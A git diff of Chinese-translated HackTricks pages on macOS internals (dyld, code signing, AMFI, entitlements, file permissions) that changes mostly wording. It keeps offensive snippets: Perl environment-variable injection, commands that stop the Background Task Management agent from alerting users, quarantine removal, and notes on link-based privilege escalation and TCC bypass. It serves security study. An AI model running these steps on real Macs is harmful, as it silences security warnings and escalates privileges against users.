一旦所有库都加载完成,这些库的 **初始化器** 将被运行。这些是使用 **`__attribute__((constructor))`** 编码的,定义在 `LC_ROUTINES[_64]`(现已弃用)或通过指针在标记为 `S_MOD_INIT_FUNC_POINTERS` 的部分中(通常是:**`__DATA.__MOD_INIT_FUNC`**)。
|
||||
|
||||
终结器使用 **`__attribute__((destructor))`** 编写,并位于标记为 `S_MOD_TERM_FUNC_POINTERS` 的部分中(**`__DATA.__mod_term_func`**)。
|
||||
终结器使用 **`__attribute__((destructor))`** 编码,并位于标记为 `S_MOD_TERM_FUNC_POINTERS` 的部分中(**`__DATA.__mod_term_func`**)。
|
||||
|
||||
### 存根
|
||||
|
||||
macOS 中的所有二进制文件都是动态链接的。因此,它们包含一些存根部分,帮助二进制文件在不同机器和上下文中跳转到正确的代码。当二进制文件被执行时,dyld 是需要解析这些地址的“大脑”(至少是非惰性地址)。
|
||||
macOS 中的所有二进制文件都是动态链接的。因此,它们包含一些存根部分,帮助二进制文件在不同的机器和上下文中跳转到正确的代码。当二进制文件被执行时,dyld 是需要解析这些地址的“大脑”(至少是非惰性地址)。
|
||||
|
||||
二进制文件中的一些存根部分:
|
||||
|
||||
- **`__TEXT.__[auth_]stubs`**:来自 `__DATA` 部分的指针
|
||||
- **`__TEXT.__stub_helper`**:调用动态链接的小代码,包含要调用的函数的信息
|
||||
- **`__DATA.__[auth_]got`**:全局偏移表(导入函数的地址,当解析时,(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`))
|
||||
- **`__DATA.__[auth_]got`**:全局偏移表(导入函数的地址,当解析时,(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__nl_symbol_ptr`**:非惰性符号指针(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__la_symbol_ptr`**:惰性符号指针(在首次访问时绑定)
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,前缀为 "auth\_" 的指针使用一个进程内加密密钥来保护它(PAC)。此外,可以使用 arm64 指令 `BLRA[A/B]` 来验证指针,然后再跟随它。RETA\[A/B] 可以用作 RET 地址。\
|
||||
> 请注意,前缀为 "auth\_" 的指针使用一个进程内加密密钥来保护它(PAC)。此外,可以使用 arm64 指令 `BLRA[A/B]` 来验证指针,然后再跟随它。并且 RETA\[A/B] 可以用作 RET 地址。\
|
||||
> 实际上,**`__TEXT.__auth_stubs`** 中的代码将使用 **`braa`** 而不是 **`bl`** 来调用请求的函数以验证指针。
|
||||
>
|
||||
> 还要注意,当前的 dyld 版本加载 **所有内容都为非惰性**。
|
||||
@ -109,7 +109,7 @@ Disassembly of section __TEXT,__stubs:
|
||||
|
||||
## apple\[] 参数向量
|
||||
|
||||
在macOS中,主函数实际上接收4个参数而不是3个。第四个被称为apple,每个条目都是`key=value`的形式。例如:
|
||||
在macOS中,主函数实际上接收4个参数而不是3个。第四个参数称为apple,每个条目以`key=value`的形式出现。例如:
|
||||
```c
|
||||
// gcc apple.c -o apple
|
||||
#include <stdio.h>
|
||||
@ -258,9 +258,9 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_FORCE_FLAT_NAMESPACE`: 单级绑定
|
||||
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解析路径
|
||||
- `DYLD_INSERT_LIBRARIES`: 加载特定库
|
||||
- `DYLD_PRINT_TO_FILE`: 将 dyld 调试写入文件
|
||||
- `DYLD_PRINT_TO_FILE`: 将 dyld 调试信息写入文件
|
||||
- `DYLD_PRINT_APIS`: 打印 libdyld API 调用
|
||||
- `DYLD_PRINT_APIS_APP`: 打印主程序的 libdyld API 调用
|
||||
- `DYLD_PRINT_APIS_APP`: 打印主程序调用的 libdyld API
|
||||
- `DYLD_PRINT_BINDINGS`: 打印绑定时的符号
|
||||
- `DYLD_WEAK_BINDINGS`: 仅在绑定时打印弱符号
|
||||
- `DYLD_PRINT_CODE_SIGNATURES`: 打印代码签名注册操作
|
||||
@ -276,7 +276,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_PRINT_STATISTICS_DETAILS`: 打印详细时间统计
|
||||
- `DYLD_PRINT_WARNINGS`: 打印警告信息
|
||||
- `DYLD_SHARED_CACHE_DIR`: 用于共享库缓存的路径
|
||||
- `DYLD_SHARED_REGION`: "use", "private", "avoid"
|
||||
- `DYLD_SHARED_REGION`: "使用", "私有", "避免"
|
||||
- `DYLD_USE_CLOSURES`: 启用闭包
|
||||
|
||||
可以通过类似的方式找到更多内容:
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# macOS Perl 应用程序注入
|
||||
# macOS Perl Applications Injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,7 +28,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
## 通过依赖
|
||||
|
||||
可以列出运行 Perl 的依赖文件夹顺序:
|
||||
可以列出运行的 Perl 依赖文件夹顺序:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
@ -47,7 +47,7 @@ perl -e 'print join("\n", @INC)'
|
||||
一些返回的文件夹甚至不存在,然而,**`/Library/Perl/5.30`** 确实 **存在**,它 **不** 被 **SIP** **保护**,并且在被 **SIP** 保护的文件夹 **之前**。因此,有人可以滥用该文件夹在其中添加脚本依赖项,以便高权限的 Perl 脚本将其加载。
|
||||
|
||||
> [!WARNING]
|
||||
> 然而,请注意,您 **需要是 root 才能写入该文件夹**,而如今您会看到这个 **TCC 提示**:
|
||||
> 然而,请注意,您 **需要是 root 才能写入该文件夹**,而如今您会收到这个 **TCC 提示**:
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -40,7 +40,7 @@ macos-tcc/
|
||||
|
||||
### 启动/环境约束与信任缓存
|
||||
|
||||
macOS 中的启动约束是一种安全功能,用于 **调节进程启动**,通过定义 **谁可以启动** 进程、**如何** 启动以及 **从哪里** 启动。该功能在 macOS Ventura 中引入,将系统二进制文件分类为信任缓存中的约束类别。每个可执行二进制文件都有设定的 **启动规则**,包括 **自我**、**父级** 和 **责任** 约束。扩展到第三方应用程序作为 macOS Sonoma 中的 **环境** 约束,这些功能通过管理进程启动条件来帮助减轻潜在的系统利用。
|
||||
macOS 中的启动约束是一种安全功能,用于 **调节进程启动**,通过定义 **谁可以启动** 进程、**如何** 启动以及 **从哪里** 启动。该功能在 macOS Ventura 中引入,将系统二进制文件分类到信任缓存中的约束类别。每个可执行二进制文件都有设定的 **启动规则**,包括 **自我**、**父级** 和 **责任** 约束。扩展到第三方应用程序作为 macOS Sonoma 中的 **环境** 约束,这些功能通过管理进程启动条件来帮助减轻潜在的系统利用。
|
||||
|
||||
{{#ref}}
|
||||
macos-launch-environment-constraints.md
|
||||
@ -50,7 +50,7 @@ macos-launch-environment-constraints.md
|
||||
|
||||
恶意软件移除工具 (MRT) 是 macOS 安全基础设施的另一个组成部分。顾名思义,MRT 的主要功能是 **从感染的系统中移除已知恶意软件**。
|
||||
|
||||
一旦在 Mac 上检测到恶意软件(无论是通过 XProtect 还是其他方式),可以使用 MRT 自动 **移除恶意软件**。MRT 在后台静默运行,通常在系统更新或下载新恶意软件定义时运行(看起来 MRT 检测恶意软件的规则在二进制文件内)。
|
||||
一旦在 Mac 上检测到恶意软件(无论是通过 XProtect 还是其他方式),可以使用 MRT 自动 **移除恶意软件**。MRT 在后台静默运行,通常在系统更新或下载新恶意软件定义时运行(看起来 MRT 检测恶意软件的规则在二进制文件内部)。
|
||||
|
||||
虽然 XProtect 和 MRT 都是 macOS 安全措施的一部分,但它们执行不同的功能:
|
||||
|
||||
@ -61,7 +61,7 @@ MRT 应用程序位于 **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
## 背景任务管理
|
||||
|
||||
**macOS** 现在 **在每次工具使用众所周知的 **技术来保持代码执行**(如登录项、守护进程...)时发出警报,以便用户更好地了解 **哪些软件在持续运行**。
|
||||
**macOS** 现在 **会在每次工具使用众所周知的 **技术来保持代码执行**(如登录项、守护进程...)时发出警报,以便用户更好地了解 **哪些软件在持续运行**。
|
||||
|
||||
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -87,7 +87,7 @@ MRT 应用程序位于 **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
```
|
||||
### 枚举
|
||||
|
||||
可以使用 Apple cli 工具 **枚举所有** 配置的后台项目:
|
||||
可以使用 Apple cli 工具**枚举所有**配置的后台项目:
|
||||
```bash
|
||||
# The tool will always ask for the users password
|
||||
sfltool dumpbtm
|
||||
@ -111,7 +111,7 @@ xattr -rc dumpBTM # Remove quarantine attr
|
||||
# Reset the database
|
||||
sfltool resettbtm
|
||||
```
|
||||
- **停止代理**:可以向代理发送停止信号,以便它**不会在发现新检测时提醒用户**。
|
||||
- **停止代理**:可以向代理发送停止信号,以便它 **不会在发现新检测时提醒用户**。
|
||||
```bash
|
||||
# Get PID
|
||||
pgrep BackgroundTaskManagementAgent
|
||||
|
||||
@ -22,12 +22,12 @@ AMFI 使用 **MACF** 策略,并在启动时注册其钩子。此外,防止
|
||||
- **`cred_label_associate`**: 用标签更新 AMFI 的 mac 标签槽
|
||||
- **`cred_label_destroy`**: 移除 AMFI 的 mac 标签槽
|
||||
- **`cred_label_init`**: 在 AMFI 的 mac 标签槽中移动 0
|
||||
- **`cred_label_update_execve`:** 它检查进程的权限,以查看是否允许修改标签。
|
||||
- **`cred_label_update_execve`:** 它检查进程的权限,以查看是否应允许修改标签。
|
||||
- **`file_check_mmap`:** 它检查 mmap 是否获取内存并将其设置为可执行。如果是这种情况,它会检查是否需要库验证,如果需要,则调用库验证函数。
|
||||
- **`file_check_library_validation`**: 调用库验证函数,该函数检查其他内容是否平台二进制文件正在加载另一个平台二进制文件,或者进程和新加载的文件是否具有相同的 TeamID。某些权限也将允许加载任何库。
|
||||
- **`policy_initbsd`**: 设置受信任的 NVRAM 密钥
|
||||
- **`policy_syscall`**: 它检查 DYLD 策略,例如二进制文件是否具有不受限制的段,是否应允许环境变量……当通过 `amfi_check_dyld_policy_self()` 启动进程时也会调用此函数。
|
||||
- **`proc_check_inherit_ipc_ports`**: 它检查当进程执行新二进制文件时,是否应保留其他具有发送权限的进程对该进程的任务端口。平台二进制文件被允许,`get-task-allow` 权限允许它,`task_for_pid-allow` 权限被允许,具有相同 TeamID 的二进制文件。
|
||||
- **`proc_check_inherit_ipc_ports`**: 它检查当进程执行新二进制文件时,是否应保留其他具有发送权限的进程对该进程的任务端口。平台二进制文件是允许的,`get-task-allow` 权限允许它,`task_for_pid-allow` 权限是允许的,具有相同 TeamID 的二进制文件。
|
||||
- **`proc_check_expose_task`**: 强制执行权限
|
||||
- **`amfi_exc_action_check_exception_send`**: 向调试器发送异常消息
|
||||
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 异常处理(调试)期间的标签生命周期
|
||||
|
||||
@ -77,7 +77,7 @@ security authorizationdb read com.apple.tcc.util.admin
|
||||
|
||||
此外,使用安全工具可以测试许多 `Security.framework` API。例如,运行 `AuthorizationExecuteWithPrivileges`:`security execute-with-privileges /bin/ls`
|
||||
|
||||
这将以 root 身份分叉并执行 `/usr/libexec/security_authtrampoline /bin/ls`,这将提示请求权限以以 root 身份执行 ls:
|
||||
这将以 root 身份分叉并执行 `/usr/libexec/security_authtrampoline /bin/ls`,这将提示请求权限以 root 身份执行 ls:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Mach-o 二进制文件包含一个加载命令 **`LC_CODE_SIGNATURE`**,指示二进制文件内部签名的 **偏移量** 和 **大小**。实际上,使用 GUI 工具 MachOView,可以在二进制文件的末尾找到一个名为 **Code Signature** 的部分,其中包含这些信息:
|
||||
Mach-o 二进制文件包含一个称为 **`LC_CODE_SIGNATURE`** 的加载命令,指示二进制文件内部签名的 **偏移量** 和 **大小**。实际上,使用 GUI 工具 MachOView,可以在二进制文件的末尾找到一个名为 **Code Signature** 的部分,其中包含这些信息:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
代码签名的魔术头是 **`0xFADE0CC0`**。然后你会找到一些信息,例如 superBlob 的长度和 blob 的数量。\
|
||||
代码签名的魔术头是 **`0xFADE0CC0`**。然后你会得到一些信息,例如 superBlob 的长度和 blob 的数量。\
|
||||
可以在 [源代码这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276) 找到这些信息:
|
||||
```c
|
||||
/*
|
||||
@ -105,7 +105,7 @@ __attribute__ ((aligned(1)));
|
||||
|
||||
## 签名代码页面
|
||||
|
||||
对完整二进制文件进行哈希会低效,甚至在其仅部分加载到内存时毫无意义。因此,代码签名实际上是哈希的哈希,其中每个二进制页面都是单独哈希的。\
|
||||
对整个二进制文件进行哈希计算效率低下,如果它仅部分加载到内存中甚至是无用的。因此,代码签名实际上是一个哈希的哈希,其中每个二进制页面都是单独哈希的。\
|
||||
实际上,在之前的 **Code Directory** 代码中,您可以看到 **页面大小在其字段中被指定**。此外,如果二进制文件的大小不是页面大小的倍数,字段 **CodeLimit** 指定了签名的结束位置。
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
@ -144,7 +144,7 @@ openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
请注意,应用程序可能还包含一个**entitlement blob**,其中定义了所有的权限。此外,一些iOS二进制文件可能在特殊槽-7中具有其特定的权限(而不是在-5权限特殊槽中)。
|
||||
请注意,应用程序可能还包含一个**entitlement blob**,其中定义了所有的权限。此外,一些iOS二进制文件可能在特殊槽-7中具体定义其权限(而不是在-5权限特殊槽中)。
|
||||
|
||||
## Special Slots
|
||||
|
||||
@ -154,7 +154,7 @@ MacOS应用程序并不具备执行所需的所有内容,而是还使用**外
|
||||
|
||||
- `info.plist`的哈希(或在`__TEXT.__info__plist`中的哈希)。
|
||||
- 需求的哈希
|
||||
- 资源目录的哈希(在bundle内`_CodeSignature/CodeResources`文件的哈希)。
|
||||
- 资源目录的哈希(在bundle内的`_CodeSignature/CodeResources`文件的哈希)。
|
||||
- 应用程序特定(未使用)
|
||||
- 权限的哈希
|
||||
- 仅DMG代码签名
|
||||
@ -211,11 +211,11 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||
|
||||
## 代码签名要求
|
||||
|
||||
每个应用程序存储一些 **要求**,它必须 **满足** 以便能够执行。如果 **应用程序包含的要求未被应用程序满足**,则不会执行(因为它可能已被更改)。
|
||||
每个应用程序存储一些 **要求**,必须 **满足** 这些要求才能被执行。如果 **应用程序包含的要求未被应用程序满足**,则不会执行(因为它可能已被更改)。
|
||||
|
||||
二进制文件的要求使用 **特殊语法**,这是一个 **表达式** 的流,并使用 `0xfade0c00` 作为魔法编码为 blobs,其 **哈希存储在一个特殊代码槽中**。
|
||||
二进制文件的要求使用 **特殊语法**,这是一个 **表达式** 的流,并使用 `0xfade0c00` 作为魔法编码为 blobs,其 **哈希存储在特殊代码槽中**。
|
||||
|
||||
可以通过运行查看二进制文件的要求:
|
||||
可以通过运行来查看二进制文件的要求:
|
||||
```bash
|
||||
codesign -d -r- /bin/ls
|
||||
Executable=/bin/ls
|
||||
@ -226,7 +226,7 @@ Executable=/Applications/Signal.app/Contents/MacOS/Signal
|
||||
designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
|
||||
```
|
||||
> [!NOTE]
|
||||
> 注意这些签名可以检查诸如认证信息、TeamID、ID、权限和许多其他数据。
|
||||
> 注意这些签名可以检查诸如认证信息、TeamID、ID、权限以及许多其他数据。
|
||||
|
||||
此外,可以使用 `csreq` 工具生成一些编译的要求:
|
||||
```bash
|
||||
@ -240,11 +240,11 @@ od -A x -t x1 /tmp/output.csreq
|
||||
0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
|
||||
[...]
|
||||
```
|
||||
可以通过 `Security.framework` 的一些 API 访问此信息并创建或修改要求,例如:
|
||||
可以通过 `Security.framework` 中的一些 API 访问此信息并创建或修改要求,例如:
|
||||
|
||||
#### **检查有效性**
|
||||
|
||||
- **`Sec[Static]CodeCheckValidity`**: 检查 SecCodeRef 是否符合要求的有效性。
|
||||
- **`Sec[Static]CodeCheckValidity`**: 根据要求检查 SecCodeRef 的有效性。
|
||||
- **`SecRequirementEvaluate`**: 在证书上下文中验证要求。
|
||||
- **`SecTaskValidateForRequirement`**: 验证正在运行的 SecTask 是否符合 `CFString` 要求。
|
||||
|
||||
@ -273,7 +273,7 @@ od -A x -t x1 /tmp/output.csreq
|
||||
#### **其他有用的 API**
|
||||
|
||||
- **`SecCodeCopy[Internal/Designated]Requirement`: 从 SecCodeRef 获取 SecRequirementRef**
|
||||
- **`SecCodeCopyGuestWithAttributes`**: 创建一个 `SecCodeRef`,表示基于特定属性的代码对象,适用于沙箱。
|
||||
- **`SecCodeCopyGuestWithAttributes`**: 创建一个基于特定属性的代码对象的 `SecCodeRef`,适用于沙箱。
|
||||
- **`SecCodeCopyPath`**: 检索与 `SecCodeRef` 关联的文件系统路径。
|
||||
- **`SecCodeCopySigningIdentifier`**: 从 `SecCodeRef` 获取签名标识符(例如,团队 ID)。
|
||||
- **`SecCodeGetTypeID`**: 返回 `SecCodeRef` 对象的类型标识符。
|
||||
@ -286,11 +286,11 @@ od -A x -t x1 /tmp/output.csreq
|
||||
|
||||
## 代码签名强制执行
|
||||
|
||||
**内核**是在允许应用程序代码执行之前**检查代码签名**的。此外,能够在内存中写入和执行新代码的一种方法是利用 JIT,如果 `mprotect` 被调用时带有 `MAP_JIT` 标志。请注意,应用程序需要特殊的权限才能做到这一点。
|
||||
**内核**是在允许应用程序代码执行之前**检查代码签名**的。此外,能够在内存中写入和执行新代码的一种方法是滥用 JIT,如果 `mprotect` 被调用时带有 `MAP_JIT` 标志。请注意,应用程序需要特殊的权限才能做到这一点。
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 结构包含有关正在运行的进程的权限信息。 `csb_platform_binary` 还指示应用程序是否为平台二进制(操作系统在不同时间检查以应用安全机制,例如保护这些进程的任务端口的 SEND 权限)。
|
||||
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 结构包含有关正在运行的进程的权限信息。 `csb_platform_binary` 还指示应用程序是否为平台二进制文件(操作系统在不同时间检查这一点,以应用安全机制,例如保护这些进程的任务端口的 SEND 权限)。
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
||||
@ -21,7 +21,7 @@
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
此权限允许具有 **`com.apple.security.cs.debugger`** 权限的其他进程获取由具有此权限的二进制文件运行的进程的任务端口并 **注入代码**。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
|
||||
此权限允许其他具有 **`com.apple.security.cs.debugger`** 权限的进程获取由具有此权限的二进制文件运行的进程的任务端口并 **注入代码**。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
@ -29,7 +29,7 @@
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
此权限允许 **加载框架、插件或库,而不需要由 Apple 签名或与主可执行文件具有相同的团队 ID 签名**,因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||
此权限允许 **加载框架、插件或库,而不需要由 Apple 签名或与主可执行文件具有相同的团队 ID**,因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
@ -58,7 +58,7 @@
|
||||
|
||||
**iMovie** 和 **Garageband** 拥有此权限。
|
||||
|
||||
有关利用此权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
有关 **从该权限获取 iCloud 令牌** 的漏洞的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -101,15 +101,15 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
允许在其他权限中 **写入用户的 TCC 数据库**。
|
||||
允许在其他权限中,**写入用户的 TCC 数据库**。
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
允许 **更改** 用户的 **`NFSHomeDirectory`** 属性,这会更改他的主文件夹路径,从而允许 **绕过 TCC**。
|
||||
允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改其主文件夹路径,因此允许**绕过 TCC**。
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
允许修改应用程序包内的文件(在 app.app 内),这在 **默认情况下是不允许的**。
|
||||
允许修改应用程序包内的文件(在 app.app 内),这在默认情况下是**不允许的**。
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -117,24 +117,24 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
该进程将能够 **滥用 macOS 辅助功能**,这意味着例如它将能够按下按键。因此,它可以请求访问控制像 Finder 这样的应用程序,并批准具有此权限的对话框。
|
||||
该进程将能够**滥用 macOS 辅助功能**,这意味着例如它将能够按下按键。因此,它可以请求访问控制像 Finder 这样的应用程序,并批准具有此权限的对话框。
|
||||
|
||||
## 中等
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来 **创建可写和可执行的内存**。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
此权限允许 **覆盖或修补 C 代码**,使用长期弃用的 **`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用 **DVDPlayback** 框架。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
此权限允许**覆盖或修补 C 代码**,使用长期弃用的 **`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用 **DVDPlayback** 框架。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
此权限允许 **修改其自身可执行文件** 在磁盘上的部分以强制退出。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
此权限允许**修改其自身可执行文件**在磁盘上的部分以强制退出。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 禁用可执行内存保护权限是一种极端权限,它从您的应用程序中移除了基本的安全保护,使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能,优先选择更窄的权限。
|
||||
|
||||
@ -7,24 +7,24 @@
|
||||
**目录**中的权限:
|
||||
|
||||
- **读取** - 你可以 **枚举** 目录条目
|
||||
- **写入** - 你可以 **删除/写入** **文件** 在目录中,并且你可以 **删除空文件夹**。
|
||||
- **写入** - 你可以 **删除/写入** 目录中的 **文件**,并且你可以 **删除空文件夹**。
|
||||
- 但你 **不能删除/修改非空文件夹**,除非你对其拥有写入权限。
|
||||
- 你 **不能修改文件夹的名称**,除非你拥有它。
|
||||
- **执行** - 你被 **允许遍历** 目录 - 如果你没有这个权限,你无法访问其中的任何文件或任何子目录。
|
||||
|
||||
### 危险组合
|
||||
|
||||
**如何覆盖一个由 root 拥有的文件/文件夹**,但:
|
||||
**如何覆盖由 root 拥有的文件/文件夹**,但:
|
||||
|
||||
- 路径中的一个父 **目录所有者** 是用户
|
||||
- 路径中的一个父 **目录所有者** 是一个具有 **写入访问** 的 **用户组**
|
||||
- 一个用户 **组** 对 **文件** 具有 **写入** 访问
|
||||
- 路径中的一个父 **目录所有者** 是具有 **写入访问权限** 的 **用户组**
|
||||
- 一个用户 **组** 对 **文件** 具有 **写入** 访问权限
|
||||
|
||||
在任何之前的组合中,攻击者可以 **注入** 一个 **符号/硬链接** 到预期路径以获得特权任意写入。
|
||||
在任何上述组合中,攻击者可以 **注入** 一个 **符号/硬链接** 到预期路径,以获得特权的任意写入。
|
||||
|
||||
### 文件夹 root R+X 特殊情况
|
||||
|
||||
如果在一个 **目录** 中有文件,**只有 root 拥有 R+X 访问权限**,那么这些文件对 **其他任何人都不可访问**。因此,允许 **将一个用户可读的文件** 移动的漏洞,因该 **限制** 而无法读取,从这个文件夹 **到另一个文件夹**,可能被滥用以读取这些文件。
|
||||
如果在一个 **目录** 中有文件,**只有 root 拥有 R+X 访问权限**,那么这些文件对 **其他任何人** 都是 **不可访问的**。因此,允许 **将用户可读的文件** 从此文件夹 **移动到另一个文件夹** 的漏洞,可能会被滥用以读取这些文件。
|
||||
|
||||
示例在:[https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
@ -32,13 +32,13 @@
|
||||
|
||||
### 宽松的文件/文件夹
|
||||
|
||||
如果一个特权进程正在写入一个 **文件**,该文件可能被 **低特权用户控制**,或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**,而特权进程将写入该文件。
|
||||
如果一个特权进程正在写入一个 **文件**,该文件可能被 **低特权用户控制**,或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**,特权进程将会在该文件上写入。
|
||||
|
||||
查看其他部分,攻击者可能 **滥用任意写入以提升特权**。
|
||||
查看其他部分,攻击者可能会 **滥用任意写入以提升特权**。
|
||||
|
||||
### 打开 `O_NOFOLLOW`
|
||||
|
||||
当 `open` 函数使用标志 `O_NOFOLLOW` 时,不会跟随最后路径组件中的符号链接,但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`。
|
||||
当 `open` 函数使用标志 `O_NOFOLLOW` 时,它不会在最后路径组件中跟随符号链接,但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`。
|
||||
|
||||
## .fileloc
|
||||
|
||||
@ -74,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
|
||||
```
|
||||
### uchg / uchange / uimmutable 标志
|
||||
|
||||
如果一个文件/文件夹具有此不可变属性,则无法在其上放置 xattr。
|
||||
如果一个文件/文件夹具有此不可变属性,则无法在其上设置 xattr。
|
||||
```bash
|
||||
echo asd > /tmp/asd
|
||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||
@ -120,7 +120,7 @@ ls -le /tmp/test
|
||||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
**AppleDouble** 文件格式复制一个文件及其 ACEs。
|
||||
**AppleDouble** 文件格式复制一个文件及其 ACE。
|
||||
|
||||
